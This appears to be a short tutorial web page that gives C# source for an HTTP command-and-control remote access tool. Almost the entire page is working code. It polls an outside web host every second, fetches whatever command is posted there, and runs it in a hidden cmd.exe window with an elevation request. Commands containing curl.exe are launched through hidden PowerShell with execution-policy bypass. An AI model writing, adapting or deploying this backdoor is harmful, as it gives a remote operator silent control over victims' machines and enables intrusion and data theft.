http-command-and-control Remote Access Tool (RAT) using c#

NOTE: To undersatnd full command and control RAT from scratch click here

. Let's understand it.
This will get the command from online web server.

                      new WebClient().DownloadString("https://ustaad-mailer.000webhostapp.com/go.php");<br>

Run command in device.

                        Process cmd = new Process();<br>
                        cmd.StartInfo.FileName = "cmd.exe";<br>
                        cmd.StartInfo.RedirectStandardInput = true;<br>
                        cmd.StartInfo.RedirectStandardOutput = true;<br>
                        cmd.StartInfo.CreateNoWindow = true;<br>
                        cmd.StartInfo.UseShellExecute = false;<br>
                        cmd.StartInfo.Verb = "runas";<br>
                        cmd.Start();<br>
                        cmd.StandardInput.WriteLine(json);<br>
                        <br><br><br>

Lets wait for 1 second
Thread.Sleep(1000);

Now lets combine the whole idea. Get the command and run cmd in while loop

  while (chk == 0)
        {
            try
            {
                json = new WebClient().DownloadString("https://ustaad-mailer.000webhostapp.com/go.php");
                if (json != oldjson)
                {

                    if (json.Contains("curl.exe"))
                    {
                        System.Diagnostics.Process.Start("CMD.exe", "/C powershell -w h -ep bypass " + json);
                    }
                    else
                    {
                        Process cmd = new Process();
                        cmd.StartInfo.FileName = "cmd.exe";
                        cmd.StartInfo.RedirectStandardInput = true;
                        cmd.StartInfo.RedirectStandardOutput = true;
                        cmd.StartInfo.CreateNoWindow = true;
                        cmd.StartInfo.UseShellExecute = false;

                        cmd.StartInfo.Verb = "runas";
                        cmd.Start();

                        cmd.StandardInput.WriteLine(json);
                    }

                    Console.WriteLine("diff result json=" + json + "old=" + oldjson);
                }
                else
                {
                    Console.WriteLine("same result json=" + json + "old=" + oldjson);
                }


                oldjson = json;
            }
            catch (Exception e)
            {
                Console.WriteLine("Connection not stable.");
            }
            Thread.Sleep(1000);

        }